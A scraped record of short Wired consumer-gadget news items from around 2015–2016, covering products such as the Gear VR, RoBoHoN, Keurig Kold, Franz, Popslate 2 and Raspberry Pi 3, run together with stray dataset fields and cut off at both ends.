for $99. Sure, Samsung's headset has been around for awhile, at least for developers and lucky beta testers who got their hands on the Innovator Edition. But this is the first time the Oculus Rift-powered headset has been sold to regular consumers. The devices will ship November 20. This isn't just some new packaging slapped on the earlier model: According to Oculus , the official Gear VR headset is 19 percent lighter and ""features improved ergonomics,"" like a new touchpad that should make it easier to use. The best news: Gear VR is going to work with more Samsung phones, and there are lots of new games to use it with. If you have a Galaxy S6 Edge, S6, Note 5, or S6 Edge+, you're in the clear (though the last two will require a carrier software update). And perhaps the most exciting new title on the horizon is , a visually stunning game set in an ancient civilization from the makers of Monument Valley . The Gear is just one of a few compelling VR headsets, but it's managed to situate itself nicely for user adoption by aggressively partnering with various media outlets to experiment with consumer VR experiences. Already we've watched NBA games and political debates. Oh yeah, and it's just under 100 bucks. You can order the Gear headset now on Amazon , Best Buy , or from Samsung . We've all done the ""pocket pat down"" to check we have our phones and wallets before leaving the house. But even if you remember to bring your phone with you, it'll be dead weight if you forget to charge it. Sure, you could always bring a spare charger in your bag, but if you like to go out with only the clothes on your back you know that pocket space is a limited resource. Nomad 's new Wallet for iPhone might be able to help all the bagless chumps out. As its name suggests, the Wallet is a battery pack for your iPhone-but it's no bulky charger: It's no thicker than a standard billfold wallet. It measures in at 95mm (height) x 125mm (width) x 25mm (max thickness), so feel free to stuff it with your disposable income and those fro-yo stamp cards. Nomad was able to keep these dimensions by placing the skinny, yet high powered, 2400 mAh battery along the spine of the Wallet. That's enough juice to fully charge an iPhone 6s. When the Wallet's battery is depleted, it can be recharged by any microUSB charger. Flashing indicator lights will tell you how much energy is stored in the Wallet, and when you are ready to connect it to your iPhone, you can un-sheath its built in Lightning cable. Considering that it can hold all these electronics, your cash, and your cards without looking like a lunchbox, that's some serious space optimization. The Wallet for iPhone can be pre-ordered now for $80 ($20 off retail), and is expected to ship November 15. Love the gaming style of arcades but the physicality of, you know, actually moving? This hack turns indoor rock climbing into a real life video game of sorts-and the creator of the code is working with various rock climbing gyms to bring it to their facilities. Maybe it will hit your local rock wall soon. I've watched the teaser video for the RoBoHoN a few times now, and I still don't know what to make of it. Sharp, who made it, calls it ""a phone in human shape, a phone that you feel like talking to."" The name itself is a wonky portmanteau of robot and phone. It can be held up next to your ear just like any other phone. Unlike any other phone, though, it is also a talking robot helper projector music toy assistant man. Sure! In the three-minute video, the RoBoHoN plays all sorts of roles. It waves happily at you when your alarm goes off, sits on your car dash, remembers to buy you more toothpaste in a squeaky anime voice, and then bends over at the waist to point its built-in projector at a table to show you photos from your boyfriend while he tells you how much he loves you while you cry, apparently? You can dress RoBoHoN up in a bunch of different accessories, including Swarovski crystals. He's mostly designed to be talked to, but he has a touchscreen on his back in case you need to touch him. On one hand, this is definitely the worst phone ever. You wear it by a lanyard around your neck, the screen is small and bad, and I mean, come on, the thing is huge and unwieldy and you look like you're holding a toy to your face. But the robot? The robot seems pretty great. RoBoHoN uses facial recognition to tell individual people to smile for the camera. He (I think it's a he? I've been saying ""he"" but it's entirely possible that RoBoHoN exists outside of gender) will help you remember to do stuff; he'll help your kid learn to walk; he'll play music and literally lead the dance party. He can sit, walk, hail cabs, and do a thousand other crazy things. The concept video looks like an out-there student film, or a live-action cut of something Pixar might be working on. But Sharp swears RoBoHoN is a real thing, set for launch next year. In the inevitable army of the robot takeover, this is the one that eats your smartphone. And dammit if it's not just the cutest little everything machine. There's absolutely no reason that your every day computer shouldn't look like an F-22 cockpit simulation. That seems to be the logic behind HP's new 34-inch Curved All-in-One, an impossibly long display that can comfortably accommodate more tabs than is healthy. The shape's not new to HP; the company already sells a 34-inch display that looks basically identical. The resolution isn't as eye-popping as, say, a 5K iMac, but a 5K iMac doesn't curve, or cover nearly three feet of ground, diagonally. Now, though, HP has stuffed a computer inside that display, in a glorious act of why not? Inside, you'll find substantial enough guts: The $1,799 base model comes with the latest Core i5 processor and 8GB of memory, and you can upgrade to as much as 2TB of storage, 16GB RAM, and a discrete Nvidia GTX 960A graphics card. All of which is to say it'll do pretty much whatever you might need it to. Most importantly, though, it is gigantic; a multi-monitor set-up that requires just one glorious monitor. It's even, one might venture, innovative, at a time that the PC industry desperately needs innovation . It'll be available Nov. 8, and while it's obviously intended for those with specific needs and muscular budget, the rest of us can at least appreciate a heaping desktop helping of eye candy when we see it. Keurig Kold, a countertop soda-making machine that Keurig hopes will expand its appeal beyond coffee. Keurig, best known for its pod-based, countertop coffee dispensers, is branching out. The new Keurig Kold provides a chilled counterpoint to the company's previous models, serving up sodas from name-brand pod providers like Coca-Cola and Snapple. If that sounds a bit like SodaStream, that's because it is, although there are a few key differences. The most important of which, for those who've grown weary of carbon dioxide refills, is that Kold uses ""Karbonator beads"" embedded in its pods to generate CO2. That means no canisters, and no confusion over just how many bubbles to add. That also means the Kold should be equally adept at non-carbonated beverages, including teas, sports drinks, and flavored water; in addition to its partners, Keurig will be offering its own brands in those categories. Regardless of fizz, as you'd expect from the name, the drinks also come out, well, cold, thanks to what Keurig describes as an ""aerospace-inspired thermal transfer system."" While it's hitting shelves today-or more specifically, hitting Keurig's retail website; it will roll out to stores in select cities later this month-Kold made its debut at an analyst conference this past March, and has been in development the past five years. The long rollout signifies just how important Kold is to Keurig; the company's currently trading at about a third of its 52-week high due to quickly fading sales of its K-Cup-based coffee products, a decline that led the company to announce a 5 percent workforce reduction in August. Kold represents its best chance at a pick-me-up. Then again, Kold's most obvious competition, SodaStream, has been in an extended sales free fall, calling into question whether there's currently a significant market for home carbonation machines in the first place. The device faces other challenges, as well. A coffee pod's prime appeal is ease of use; it's obviously faster and less fussy than parsing out grinds for a traditional drip coffee maker. Making that same case for Kold could be tricky, since it's competing against the simple act of popping the tab on a can, or twisting the top of a bottle. And whatever convenience it does offer doesn't come cheap; Kold comes with an MSRP of $370, with pods costing between $4.50 and $5.00 for a pack of four. Each pod produces a single 8-ounce drink, making your countertop cola more expensive than the grocery store equivalent even before the sunk cost of the machine itself. Push-button drink production has a demonstrable appeal; whether that translates from hot to cold depends on one's counter space, pod appeal, and single-serve obsession. The tablet industry is still going strong, but if we can take away anything from the Microsoft Surface and iPad Pro releases, it's that some people really want keyboards to go with their tablets. Built-in touch screen keyboards simply aren't enough for writing anything longer than a text, and they take up valuable screen space. The thin screen-protector-like keyboards that Microsoft and Apple make are great for portability, but they don't offer the tactile feel that desktop keyboards do. If you want a keyboard that feels awesome (and isn't that portable) what better place to look for inspiration than a good old-fashion typewriter? The folks at Qwerkytoys have created the Qwerkywriter , a tablet keyboard that mimics the look and feel of a typewriter. Even though the Qwerkywriter looks old fashioned, there's plenty of modern tech baked inside. The keyboard pairs with devices via Bluetooth, so even though it has a dock that fits all sorts of tablets, it can be paired with smartphones or even desktop computers. Additionally, that macro return bar isn't just for show: By default, it doubles as an enter key, but can also be programmed to render up to five characters. The Qwerkywriter started as a Kickstarter campaign, but since it already met its goal of $90,000, you can pre-order it now for $329. The pre-orders won't ship out until October or November, but in the meantime you can listen to the satisfying clicks of the Qwerky's keys in action. The maximum load of a PhunkeeDuck-or any other brand of these suddenly popular stand-up scooter boards -is around 300 pounds. The maximum thing you should try to do on one of them is not to fall over. Somehow, personal trainer Bradley Martyn stepped onto one, stuck 315 pounds behind his neck (six 45-pound weights plus a 45-pound bar), and blasted some squats. Four reps, bro. On a spaceboard, bro. This is dangerous, and you should not ever try it. In fact, you can hear the stand-up scooter crack during the initial squat, and again during the fourth rep. Somehow, the contraption held together during the entire feat of strength and balance, and that wasn't the only danger to Martyn's safety. Fall backward, and risk a concussion from the back of your head smacking a solid steel bar. Fall forward, and risk your face being pinned to the floor by 315 pounds. So never attempt this superhuman show of agility, even if you look like He-Man. Still, feel free to watch it repeatedly on the Internet to your heart's desire. Logitech G is launching two new gaming headphones: the G633 and G933 Artemis Spectrum. They are the result of Logitech's sound engineering team's attempt to create a gaming headset that delivers audio comparable to top-shelf headphones. With patent pending Pro-G audio drivers and 7.1 Dolby surround sound, these headphones aim to immerse you into the game. The two headphones look similar, with the G933 as the beefier big brother. The G933 includes a few more features than the G633, such as the ability to operate wirelessly and an additional audio input for sound mixing. But you'll have to pay a little bit more to get these extras, as the G933 costs $200 versus the G633's $150 price tag. Regardless, the two both offer some cool customizable features. By downloading the Logitech Gaming Software, you are able to assign game macro functions to the headset's three programmable G-keys. Additionally, you can use the software to adjust equalizer settings and set up sound profiles that best fit your acoustic preferences. On the other hand, some customizable features are just for fun, like the ability to change the RGB lighting to any color of your choosing. Look out for the Logitech G633 and G933 Artemis Spectrum in October 2015. While your smartphone is an easy conduit for all-emoji conversation, things get a little tough when you find yourself at a regular old laptop. Sure, keyboard shortcuts can get you there, but PC-made discussion is still dominated by... you know, words. Until now! Emoji Key is a set of stickers you can throw on top of your lettered keyboard. Then you just have to install the emoji keyboard on your laptop (the site includes instructions), and boom: You are typing in nothing but emoji. And yes, this would probably get confusing eventually. In Samsung's never-ending quest to take on the iPhone, it's giving customers the chance to test drive one of its Galaxy phones (the S6 Edge, S6 Edge+, or Note 5) for 30 days for the low, low price of $1. If you're an iPhone user who's curious about the competition, now is the time to question your allegiance. You'll get a month's worth of data, and since it's not like you have to hand your iPhone over to Samsung, you've essentially got two phones for a month. For a data hog, that's not a bad deal. Really, this should have become a standard a long time ago. According to Reuters , this surfer shelled out $390 to attach a device to his board that emits ""an electronic force field that overpowers [sharks'] sensing organs."" Sounds like the best $390 he ever spent. There are couple of retailers installing these devices, including SurfSafe and SharkShield -check out this video from the former showing you how its done.",en
1461954646,CONTENT REMOVED,-4187268503708157132,-1443636648652872475,-7777675406803857155,,,,HTML,http://www.wired.com/2016/04/franz-messenger-app/,A Single App That'll Wrangle Your Millions of Messengers,"Way back in the Mesozoic Era of the Internet, which was approximately 2009, maintaining your status as an Internet Socialite required a deft understanding of a multi-faceted messaging ecosystem. You obviously had to be logged into AIM, with just the right away message that told your real friends you were still nearby (and you better not skimp on your buddy profile). But you couldn't ignore your MySpace IM or Yahoo Messenger, just in case your maybe-real Internet crushes wanted to chat. And you gotta keep up your nerd cred on IRC. Being popular was hard work! Franz is a free app that combines more than a dozen different messaging services into a single window. Now, though, technology has become more sophisticated and user-friendly. And as messaging has become a key component of how we do almost everything online, our interaction with chat is easy and understandable part of our everyday lives. Wait, no, that's wrong. It's the exact opposite. Messaging is more important, more powerful, and more versatile, and yet wrangling all of our constant conversations together is like herding cats. Except there are a thousand cats, and they're all rabid and loud and running in every direction as fast as they possibly can while meowing horribly offensive things about all the other cats and giving you really important work deadlines. It's not a pretty picture. Years ago, apps like Adium, Meebo, and Trillian quickly became a crucial part of every Internet Socialite's arsenal. All your accounts in one place, neatly organized, so you could remember who's who and what's where at all times. There's nothing like that now, and there really couldn't be; messaging apps are more than just text-sending protocols, they're entire platforms. Every platform is different, and there's no way to neatly combine them. The best we can hope for is to at least bring all those disparate things into one place, which is exactly what Franz does. Franz is a new-ish free app for Mac, Windows, and Linux, that combines more than a dozen different messaging services into a single window. When you open Franz, you can instantly be logged into Slack, WhatsApp, Facebook Messenger, Telegram, Skype, Hangouts, and more. The app itself is just a container-you're basically opening web views of all the apps, tabbed in a single lovely window. By combining them into one place, though, you get a single set of notifications for all your services. A little red ""1"" will show up next to anything with an unread message, so you know at a glance what's waiting for you. And best of all, you're not stuck switching between a dozen browser tabs or a folder full of apps. Even though you don't, it feels like you have just one messaging app. It's just Franz. Franz isn't a perfect, universal messaging solution. It's not Adium 2.0. But it's the closest thing we're probably ever going to get. As the messaging ecosystem metastasizes and becomes the universal interface for how we do everything, easy access to our many tools is much more realistic than trying to build a single Megazord Messenger that encompasses them all. And besides, this might be better anyway. You get Slack the way it's meant to be used, and with a single key command you're jumping into Facebook's most complete vision of Messenger. Until we get that universal messaging app that would make life so much easier, this is definitely the next best thing. If you bought a Sony or Sharp TV from the past couple of years and you have an iPhone, you've got yourself a new way to navigate your smartwares. At long last, Google's Android TV Remote app is now available in the iOS App Store. It replicates the functionality of the same app for Android , which has been available for years. The most useful function of the app is its double-duty microphone/keyboard feature The remote-control app for Android TV devices isn't all that full-featured-it's essentially just an app version of the plastic remote included with the Google Nexus Player . Regardless, it's a handy backup clicker or a back-from-the-dead use case for an old iPod Touch. You've got your D-pad for navigating menus. Got that home button right there, too. Back button? Check. Even has an icon on there for a-playin' and a-pausin', and you can turn the whole screen into a touchpad like some kind of weirdo. But the most useful function of the app is its double-duty microphone/keyboard feature. You can use your phone as a mouthpiece for Android TV's excellent voice search (hopefully Siri won't get jealous). The app one-ups the Nexus remote by letting you input text with your phone's touchscreen keyboard. Plus, it communicates to your TV or set-top device over Wi-Fi, so you don't need a line-of-sight connection. And yo, it's free. This week at the NAB Show , the annual trade show for people who make video content, virtual reality is going to be everywhere. Condition One , a startup-slash-studio that was earlier to VR filmmaking than most, is making one of the show's early announcements: a new VR camera called the Bison. This 360 rig is made for the kind of run-and-gun documentary shooting the company's known for. Or at least the closest you can get to that given the current state of VR tech. It won't be for sale, but it will be part of the company's toolkit as it continues to make VR movies-so if you want footage from the camera, you have to hire Condition One to shoot it. Here's the rundown on the camera itself: The Bison is named for the first thing Condition One founder Danfung Dennis shot with the initial prototype. It's comprised of 16 cameras, and all together they're capable of shooting full 360-degree video with full 3D audio. It'll produce 5.7K resolution video, at up to 48 frames per second, for up to two hours on one battery charge. It's made of a rugged aluminum, and has an intense cooling system to keep it running even in the hot sun. Even the tripod is made of carbon fiber, so you can't destroy this thing if you try. The camera's minimum focusing distance is two feet, which makes Dennis particularly proud. ""We've been really focused on creating presence in the near field,"" he says. ""To have subjects within your arm's reach, to have close subjects to you... You really feel presence."" The Bison falls somewhere in the middle of the VR camera field, such as it exists right now. There are solutions like HypeVR , which amounts to an impossibly expensive and cumbersome set of super-high-end RED cameras rigged together for VR. Google has Jump , GoPro has Odyssey , Facebook has Surround 360 . (Bison, by the way, is probably closer to Surround 360 than any other single product.) They're all big, expensive, and mostly made of a bunch of individual cameras stitched together. On the other side are the super-simple 360 cameras, like the Ricoh Theta . Those aren't pro cameras by any stretch. Condition One seems to intend the Bison to be sort of the DSLR for VR; it's more compact and easier to use, but absolutely capable of making something Oscar-worthy. Part of Condition One's journey has involved learning what works, and what doesn't, in virtual reality filmmaking. Before getting into VR, Dennis was a longtime war photographer, so he tends to like to run and gun. But moving around is not exactly a delightful viewing experience in VR-it's more likely to make you sick. So even if it were possible (and it really isn't), it wouldn't make a lot of sense to try and make a shoulder-mounted or hand-held VR camera. But the Bison's close, at only 12.5 pounds. More important, it's rugged enough to go the places you'll want to put it; Dennis has watched as bison, jaguars, and (in a less-frightening shoot) monarch butterflies inspected the camera while he watched from afar. The remote trigger works from a half-mile away, too, so you can keep yourself out of your spherical shot and still get the footage you need. As they worked, Dennis says, they found that the hardest part wasn't the shooting-it was the stitching. Taking a bunch of cameras, and putting all their images together in a way that looks right, is hard and intensive work. The best solutions will make everything seamless, literally and figuratively, and making their own hardware made it easier to build the necessary software too. Now they're trying to figure out what kinds of VR movies people want to watch. And where to put them so people can see them. And how to make money. Right now, in VR, if you solve one problem all you get is a hundred new ones to figure out. More than just about anything you own, your smartphone represents you. Your photos, your communications, your work, your leisure activities, your nudes, everything's in this one rectangular piece of metal and glass. You smartphone, therefore you are. Google is pushing the boundaries of what a case can do to and with your phone, and is obviously committed to a deep sense of personalization and identity with phones. As our phones come to contain our personalities, a good case becomes all the more important. Not only does it keep your phone from shattering on the sidewalk and taking all your memories and plans with it, it turns your phone into something that looks and feels more unique. More personal. More you. Google's taking the idea even further, introducing a new Live Case Creator tool that lets you turn a point on a map or a photo into a phone case you can slap on the back of your Nexus 6 , 6P , or 5X . You go to the creator website, and upload a photo or use the Google Maps interface to select a location. Then, position it on the case however you want, select among Google's many filters, which add color or transmogrify your photo into an abstract art piece. Confirm it, buy it, and Google prints and ships you a case of your very own. Maybe coolest of all, these Live Cases skin the wallpaper of your phone to match your new case. If you go with the map, you can turn your wallpaper into a similarly colored, moving map of where you are right now. If you choose a picture, you can make an album of other shots for your phone to style and switch between automatically. There's also a button on the back of each case that will launch your phone's camera (if you choose a photo case) or find you nearby places in Maps (if you pick a location). Google first hinted at plans like this when it worked with Skrillex on a handful of customized phone cases. Googlers say they were blown away by the response to that project, and that people wanted more. The company's pushing the boundaries of what a case can do to and with your phone, and is obviously committed to a deep sense of personalization and identity with phones. It's always been part of Google's vision for Android, right down to the tagline: be together. Not the same. Maybe before long picking a phone case won't be like choosing clothes from the rack, finding the garment that fits you most closely. It'll be more like making your own clothes, and getting it exactly right. If the rumors are correct, Apple is bringing back a smaller iPhone . This makes sense. There's no such thing as a one-size-fits-all smartphone or even a two-sizes-fit-all smartphone. Some people want a phone that fits in the pocket of their skinny jeans. Other people have larger-sized skinny jeans. A third group of slacks-wearing people want a phone the size of a skateboard deck. The same idea holds true for almost everything. Some people want big versions of things that are supposed to be small. Others want small versions of things that are supposed to be big. All of this is possible. On my desk right now, there's an oversized pencil, an undersized building, a miniature hockey player with a disproportionately large hockey stick, and a ""King Size"" Sharpie. Here is a photograph of these objects taken with my phone, which is the size of a skateboard deck: More often than not, things that aren't their appropriate size are whimsical and fun . On occasion, they're even thought-provoking. Examining an object that isn't normal-size lets you appreciate its form or design detached from its function. This will help you forget about taxes for a little while. Alas, acquiring miniature and oversized objects isn't as easy as walking into a store and heading to the ""giant"" or ""tiny"" section. Luckily, there are dedicated online outlets for each of these retail needs. For things that are smaller than normal size , perusing the digital aisles of Archie McPhee, Suck UK, and ThinkGeek is a good place to start. McPhee has items such as squirrel-size coffee cups and underpants , a functional miniature drum kit , and a tabletop ark of the covenant . Suck UK has you covered on the guitar-case lunchbox and planet-themed eraser fronts. ThinkGeek is the place to go if you want a miniature filing cabinet for your business cards or a tiny, functional Tesla coil . But those are all readymade products. If you want to create your own miniature projects, cruise by Mini Materials . It's like a Home Depot on the island of Blefuscu : miniature cinder blocks, shipping pallets, bricks, and two-by-fours. There are also tiny packets of concrete mix and minuscule buckets of mortar. For things that are larger than normal size , Archie McPhee is also a handy source, with things like giant googly eyes , a coffee cup that holds around two gallons , and a gigantic slice of toast you can sleep on. But again, if you want oversized stuff, it's best to go to an oversized-stuff specialist. GreatBigStuff.com is the titan of the market, offering mission-critical objects such as plus-size Whoopee Cushions , a flask that holds a gallon of whisky , a giant functional computer mouse , and a massive (and edible) Ferrero-Rocher candy . You can also buy a large stack of fake cash to use as a foot rest and an unlimited supply of oxygen for $1 . For things that are actual size , try all other stores. What if you could play a videogame with a banana? Or a drum machine with a burrito? MaKey MaKey lets you do exactly that-and more. MaKey Makey turns everyday objects into digital touchpads for your computer. Jay Silver and Eric Rosenbaum designed it while they were in grad school at MIT. Inspired by the maker movement, they wanted to create an open-ended way of getting people to think creatively about how kids interact with our increasingly networked world. The result is a clever kit that makes a controller of literally anything that conducts electricity. ""Makey Makey is a device for allowing people to plug the real world into their computers,"" said David Ten Have of JoyLabz, which produces the kit. ""We want people to be able to see the world as their construction kit. And basically the way MaKey MaKey works is that it pretends to be a USB keyboard."" Each kit comes with a circuit board-the heart of the kit-a set of alligator clips, and a USB cable that plugs into your computer. The USB provides power to the circuit board, and the alligator clips link the board to any object that conducts electricity. Turns out, a lot of things conduct electricity. Food. Plants. Play-Doh. Even you.""We were shooting for creating a product that had an incredibly low floor for participation, but an incredibly high ceiling for expression,"" said Ten Have. ""We're seeing things made as simple as a banana piano and as advanced as measuring tools for chemistry labs, for instance."" The possibilities seem endless. Kids can turn their art into an instrument. Connect the alligator clips to people's hands to make a human drum machine. People have transformed a trash can into a calculator and a slice of pizza into a game controller. Your garbage can is full of new controllers . Fresh air can be harder to come by than you might think. If you have pets or you live in a city or it's cold outside, you are almost certainly breathing air that is full of contaminants that can make you sick, and even trigger asthma and allergies. You can't do much about the air you breathe at work or on the train, but you can control the air inside your home. The problem is that most air purifiers are ugly, loud, and some even omit ozone-which can be a serious lung irritant. Airmega tackles all of those problems with the Smart Air Purifier , which is (reasonably) attractive, quiet, and doesn't spew toxins. It's also a smart appliance that's actually smart. The Airmega keeps you abreast of the air quality in your place, and an app (of course it's got an app) lets you know if the air's gotten funky while you're on the road. If so, simply activate it remotely and come home to fresh air. A handy automatic mode lets the purifier turn itself on whenever the air gets stale, and an eco-friendly mode shuts it off after 10 minutes. The machine has filters on two sides, so it inhales more bad air and exhales more good. This thing can renew the air in a 1,560 square foot space twice an hour. Airmega claims the carbon and HEPA filters remove 99.97 percent of the junk in the air, and the app (and a sensor on top of the device) tell you when it's time to change them. Airmega says they're good for a year. These things aren't cheap, though. The smaller model, the 300S, will cost $749 when it's available through Airmega and Amazon later this month. The larger 400S will run you $849. But then, how much are your lungs worth? A little over three years ago, the Popslate presented an intriguing idea: What if a case could turn the back of your phone into an E Ink display? Like a lot of first-generation, crowdsourced products, the original didn't quite live up to the promise. Popslate 2, though, looks like a very promising course correction. The original Popslate, which finally materialized last spring, worked as advertised. Its limitations, though, made it difficult to justify as an everyday case. It charged with a different cable than the iPhone 6 it was designed to fit, and at launch only displayed still images pushed from an app on the front of the phone. It eventually used IFTTT to prompt screen updates without manual intervention, but even that required a little bit more digital elbow grease-and a little less functionality-than might justify the added bulk and expense. Popslate 2 doesn't just promise to address these issues; it actively adds plenty of functionality as well. It's an evolution, not merely refinement. To start, Popslate 2 not only ditched microUSB for the Apple-preferred Lightning cable, the case itself provides a backup battery that can add up to nine hours of talk time (or four hours of browsing) to your iPhone. It manages to do so while still reducing the thickness versus the original Popslate by nearly half. The display itself has improved, as well. Still ""shatterproof,"" it's now 200 dpi versus the previous version's 115, and has a pleasant-looking curve to it. There's also an easy way to navigate the latest Popslate on the display itself. Three capacitive touch buttons at the bottom of the display let you switch between apps and scroll through content. More important than the hardware upgrades, though, are the software smarts Popslate has added. Rather than lean on static images and clumsy IFTTT integration, Popslate now pulls directly from a handful of useful apps to maintain a dynamic display. You still need to download and use the Popslate app to customize your black-and-white rear display, but your options have expanded. ""We are leveraging sources with APIs and pulling that content straight into the Popslate app,"" says co-founder Greg Moon. ""Planned integrations for launch are: NYT, Twitter, Accuweather, and Google Calendar. We are also putting together partnerships around sports and stocks, which likely will also be part of the launch."" Moon says the company determined what apps and areas to focus on based on people's IFTTT usage on the original Popslate. In addition to the news, weather, and social functions it has already has-and the sports and stocks to come-you can expect to see wearable and IoT data apps at some point as well. Popslate 2 also comes with a Wallet function that lets you display items with bar or QR codes, like boarding passes or concert tickets. That's not to say everything is perfect. While the ideal app might seem to be Kindle-reading E Ink beats reading on an LCD display any day-you won't find Amazon's e-reading software here. You can use Popslate 2 as an e-reader, but currently only through Project Gutenberg, a free e-book resource whose catalog features mostly public domain classics. While Moon wouldn't confirm if there were plans for Kindle down the road, he's confident that the e-book selection will expand. ""We are also in discussions with additional e-book providers,"" says Moon. ""Unfortunately we can't disclose the parties at present for confidentiality purposes. As a result, our e-book sources and supported formats (including EPUB) will expand substantially after launch."" The ""after launch"" part is the other small cause for concern. Like its forebear, Popslate 2 is a crowdfunded project. But while it's generally healthy to be skeptical of Indiegogo concepts, the fact that the Popslate team has already delivered once offers at least some confidence in the second generation. It's expected to ship this July, at a cost of $149 (or $69 for early backers). A second E Ink display isn't a new idea; a company called Yotaphone has even built one into the handset itself. But if Popslate 2 delivers the improvements it's promising, it will have made a pretty good product pretty great. Considering that the average smartphone user takes out their phone more than 220 times a day , you might want to invest in a nice case. Wood is generally prettier than plastic, and while there are a variety of wooden phone cases to choose from, most of them have some visible plastic or rubber that totally distracts from that outdoorsy vibe you're going for. Luckily, the Woodline case for iPhone 6 and 6s is made by Pad & Quill , has a 100 percent wooden exterior. OK, it's not all wood: Unless it was a quarter-inch thick, a totally wooden phone case would probably crack when dropped. The outer wooden shell is filled with Aramid fibers, the same stuff used on drumheads and jet engine enclosures. If you prefer keeping your phone in your pocket, the Woodline is ultra-thin so you can easily do so. Seriously: According to Pad & Quill, it's as thin as a dime, so it's definitely not going add any noticeable bulk. The cases are all handcrafted out of real wood, so each one looks different and is engraved by the carpenter who made it. The cases come in four different types of wood: American Cherry, Rosewood, Zebra, or American Walnut, so you can pick the grain that most suits your daily grind. The case is currently available for preorder and will begin shipping next week. Raspberry Pi, the computer that literally fits in the palm of your hand, isn't for everyone. It comes with circuitry exposed, without a case, input method, or, until now, much in the way of connectivity. With the addition of Wi-Fi and Bluetooth, though, Raspberry Pi 3 comes closer to a pocketable PC for everyone. The third generation of Raspberry Pi in its four years of existence, Raspberry Pi 3 integrates 802.11n Wi-Fi and Bluetooth 4.1. Previously, you had to employ some dongle magic to add that functionality. The only other big upgrade-there are, after all, only so many components to upgrade-is the processor. Where previously sat a 900MHz 32-bit, quad-core ARM Cortex-A7 CPU now sits a 1.2GHz 64-bit, quad-core ARM Cortex-A53 CPU. If those numbers mean nothing to you, just know that it's about 10x the performance of the original Raspberry Pi, and over 50 percent better than the previous iteration. Otherwise, the Pi remains largely the same. It's roughly the same size and shape as generations past, aside from some minor component shuffling to accommodate the antenna that allows for its newfound wireless connectivity. Most importantly, it's holding on to that $35 price. For the cost of a few decent deli sandwiches, you can still own a fully functional (and now, even more so) pint-sized computer. It's important, too, that Raspberry Pi keep building on its success. No shortage of micro-computer competitors have sprung up in the years since the original Pi's introduction, some of which, like the Arduino 101, have already either promised or delivered an advanced feature set. And for three or four times the price of a Pi 3, consumers can opt for a ""PC on a Stick"" dongle, like Lenovo's Ideacentre Stick or Intel's Compute Stick, that offers the convenience of a dongle form factor, and the ability to plug directly into a monitor. Nobody's done it better for longer, though, than the Raspberry Pi Foundation. It still takes a little bit of know-how to fit it into your life, but one of the best bargains in tech is even more so now. Today Oculus Rift unveiled three new VR-ready PCs that excited, ready-to-be-completely-immersed gamers can pre-order in one week. The new PC towers, from Dell, Alienware, and ASUS, are designed to handle the powerful new VR graphics, which take a massive amount of rendering power to bring games to life in your headset. To no one's surprise, they don't come cheap. Expect to pay between $1,000 and $2,500 for a Oculus Rift-ready PC-but if you were one of the enthusiasts that pre-ordered Rift, you may be eligible for a discount. And if you already own a super computer, there's a chance that it might already be Rift-friendly already. You can test with Oculus's compatibility tool , which you have to download so it can scan your system's current capabilities. A traditional 1080p game requires 124 million shaded pixels per second to render the visualizations. Oculus Rift's VR program needs about three times that rendering power. According to the company blog, a Rift runs at 2160x1200p on dual displays and requires somewhere in the range of 400 million shaded pixels per second. TL;DR, most computers are way too weak to run VR headsets. So what will people will be able to do with their new VR-ready PCs? Well considering Facebook acquired Oculus Rift for $2 billion dollars last year, and keeping in mind that the platform now counts over one billion users, the company is certainly poised to do big things. Oculus already boasts an impressive roster of immersive experiences, including porn , reading a book on a beach , or playing golf with robots . Keeping a journal is a pain in the ass. It's a scientifically-proven wonderful thing to do-to preserve your memories, explore your feelings, record the things you do and notice and care about-but it's a lot of work to sit down every day and get your Dear Diary on. Day One has always cleverly skirted that hassle by turning a journal entry into something more like a splits counter on a stopwatch. The app takes your location, motion data, and more, and turns it into a snapshot of your life at any time you choose. How you fill it out-or don't-with words, pictures, video, and whatever else, is then up to you. The app's been around for a few years for Mac and iPhone, but developer Bloom Built just released its first complete overhaul ever. The new Day One (insanely named Day One 2-yes, really) has a slicker design, a much bigger emphasis on photos, and a handful of new ways to filter your journal to see entries from a certain place or time or from a specific topic. You can even have multiple journals, in case you want to separate your obsessive cataloging of every book you read from your ""feelsy"" entries. The Mac app is a great browser for your old entries, and the iPhone app is well-tuned to make saving and creating those entries really easy. Just 3D-touch to start a new entry, snap or upload a photo, add a caption, and poof: You're a journaler. The app is also unusually good at giving you control over your privacy and data. You can set a passcode, and at any time export all your data to PDF or a plain text file. It's a lot more secure than hiding your journal underneath your mattress. Stomaching the price might be a little tough ($9.99 for the iPhone app, $39.99 for Mac, though if you buy right now it's half-off), but that's the hardest part. Everything else about keeping a journal will suddenly be a lot easier. More so than any kind of modern technology, digital cameras have pushed retro designs into the mainstream. Fujifilm , Nikon , Panasonic , and Olympus all have their own throwback shooters-and Leica has never really strayed from its timeless designs. It's not just a gimmick, either. In the world of photography, retro style is sensible: Unlike today's sleek, touchscreen-controlled phones and tablets, experienced photographers want to have all the knobs, buttons, and dials they need at their fingertips. The fetching Olympus PEN-F is the company's latest old-school camera, and it bears the same name and stylistic touches as Olympus' 35mm film SLR cameras from the early- to mid-1960s. While a tribute to a 35mm film camera would suggest the PEN-F has a full-frame sensor, that isn't the case. It's built around a Micro Four-Thirds sensor like the other cameras in the PEN series. This sensor's brand new, though. It's a 20-megapixel imager, bolstered by Olympus' excellent five-axis stabilization system. It also does the same cool things as Olympus' recent OMD series cameras. There's the ""Hi Res"" mode found in the OMD E-M5 Mark II , a tripod-optimized feature that moves the sensor around to capture a 50-megapixel shot. There's also the focus-bracketing feature found in the E-M5 II, E-M10, and E-M1. The PEN series usually bears lesser specs than Olympus' higher-end OMD lineup, but not this one. The PEN-F is basically an OMD-level camera in a throwback body. It captures continuous shots at a rate of up to 20fps, has a lightning-fast autofocus system, boasts shutter speeds up to 1/16,000 of a second, and shoots RAW. Video capture tops out 1080p at 60fps, although you're able to record time-lapse video in 4K at 5fps. For sure, the most compelling thing about this camera is its body. There's a distinct dial on the front that lets you toggle between monochrome, color, and filter effects. Up top, machined aluminum dials handle mode selections, shutter, and exposure compensation, while a heavy-duty scroll wheel on the back lets you dial everything in. This is also the first PEN camera with an eye-level viewfinder; the others only have a live-view LCD screen. And it's no half-assed EVF, as its OLED display has 2.36 million dots of resolution. But there's still a 3-inch flip-and swivel touchscreen on board, and like most cameras these days, Wi-Fi connectivity is built in. Those OMD-level specs in a PEN body come with a price to match, and you'll have to wait about a month to start shooting with it. The PEN-F will be available in early March, priced at $1,200 for the body only. It's compatible with Micro Four-Thirds system lenses-which have a bigger-than-most crop factor of 2x. Your phone is disgusting. I'm sorry, but it's true. It's covered in germs and... well, and worse . It also stays dirty, because you never clean it, because doing so would ruin it. 